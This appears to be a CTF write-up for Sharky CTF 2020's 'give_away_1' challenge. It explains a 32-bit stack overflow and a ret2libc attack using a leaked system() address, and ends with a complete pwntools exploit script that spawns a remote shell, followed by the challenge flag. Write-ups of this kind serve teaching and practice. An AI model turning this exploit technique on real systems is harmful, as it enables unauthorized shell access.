Sharky CTF 2020 / Published

give_away_1

A 32-bit buffer overflow and a leaked system address drive a ret2libc call that runs /bin/sh via a string found in the provided libc.

pwn

3 min read

Challenge brief

Make good use of this gracious give away.

Creator: Hackhim

give_away_1

libc-2.27.so

Finding the buffer overflow

As with most pwn challenges, let’s start off by checking what kind of binary we’re given.

vagrant@ctf:/vagrant/challenges/sharky/give_away_one$ file give_away_1

give_away_1: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=2b72e93281e97df94bf8362d5cf5a29f55accb8a, not stripped

Okay, it’s just a 32 bit ELF binary. Let’s run it to get a better idea of what it does.

vagrant@ctf:/vagrant/challenges/sharky/give_away_one$ ./give_away_1
Give away: 0xf7dbad10

Seems like it just prints a hex value and gets some input from us. Great. Now let’s see how well it handles a large input.

vagrant@ctf:/vagrant/challenges/sharky/give_away_one$ python -c 'print "A"*1024' | ./give_away_1
Give away: 0xf7e18d10
Segmentation fault (core dumped)

Resolving system and the shell string

Oh a segmentation fault, looks like we potentially have a buffer overflow vulnerability here. Let’s open up the binary in IDA and see what further insights we can gather. Currently, we still don’t know what that hex value is.

Text
mov     eax, ds:(system_ptr - 1FBCh)[ebx]
push    eax
lea     eax, (aGiveAwayP - 1FBCh)[ebx] ; "Give away: %p\n"
push    eax             ; format
call    _printf ; printf("Give away: %p\n", system_ptr);

Oh wow is the hex value given to us actually a reference to system?

Text
.got:00001FDC system_ptr      dd offset system ; DATA XREF: main+22↑r

Awesome, looks like we can combine this with the buffer overflow vulnerability and call system("/bin/sh") to get a shell. Where are we going to get the /bin/sh string from? We still haven’t made use of the libc-2.27.so right?

vagrant@ctf:/vagrant/challenges/sharky/give_away_one$ grep -obUaP "/bin/sh\x00" libc-2.27.so
1564879:/bin/sh

Bingo! So all we have to do is to calculate the address to /bin/sh and use that as a parameter for our call to system.

The search reports a file offset. In this supplied libc, 1564879 also corresponds to the ELF virtual offset 0x17e0cf; the script resolves the string with libc.search after rebasing libc. The earlier local leaks are not verified against this supplied libc and should not be combined with its system offset, 0x3d200.

Building the ret2libc exploit

Consolidating all the information we have so far, we can conclude that the payload should probably look something like this:

Text
<padding of ? bytes><address(system)><system return slot: 4 bytes><address("/bin/sh\x00")>

The only information we’re lacking is the length of the padding. We can easily do this with the cyclic utility included with pwndbg.

The saved return address is 36 bytes after the input starts. Arrange the next three words so that returning into system leaves its return slot at ESP and the string pointer at ESP+4.

The i386 stack at system entryRet loads system from input offset 36. ESP points at offset 40, system's return slot. The four-byte pointer at offset 44 is its first argument and points to the libc shell string.Input offsets (bytes) →filler compressed · not to scale0–3536–39 · 4 bytes40–43 · 4 bytes44–47 · 4 bytes36 bytes of fillersystem addresssystem return slotfillerstring pointerfirst argumentAfter retEIP = systemESP = input+40[ESP+4]libc: /bin/sh\0Return slot: filler, so the program crashes if system returns.
Figure 1. Ret enters system with its return slot at ESP. The first argument is the string pointer at ESP plus four.

The 36 bytes measure the distance from the input destination to the saved return address, not the declared buffer size. After ret, ESP points to the four-byte return slot at input offset 40. The first argument at [ESP+4] is a pointer to the libc string, not the string bytes themselves. The return slot contains filler in this exploit; system would use it if it returned, so the payload does not establish a clean continuation.

Okay, great. Now all we need to do is to write a script to solve this.

Python
#! /usr/bin/python2

from pwn import *

HOST = 'sharkyctf.xyz'
PORT = 20334
BINARY = './give_away_1'

elf = context.binary = ELF(BINARY)
libc = ELF('libc-2.27.so')

# Start connection

r = remote(HOST, PORT)

# Stage 1: Get system@libc

libc_system = int(r.recvline().split()[2][2:], 16)
log.info('Leaked libc_system: 0x{:x}'.format(libc_system))

# Stage 2: Build ROP Chain

libc.address = libc_system - libc.symbols.system
log.info('Calculated libc base address : 0x{:x}'.format(libc.address))

binsh = libc.search("/bin/sh\x00").next()
log.info('binsh: 0x{:x}'.format(binsh))

rop = ROP([libc, elf])
rop.system(binsh)

log.success('Generated ROP Chain')
log.success(rop.dump())

# Stage 3: Pwn

r.sendline(fit({ 36: rop.chain() }))

log.success('Sent payload')
log.progress('Spawning a shell...')

r.interactive()

Result

Flag: shkCTF{I_h0PE_U_Fl4g3d_tHat_1n_L3ss_Th4n_4_m1nuT3s}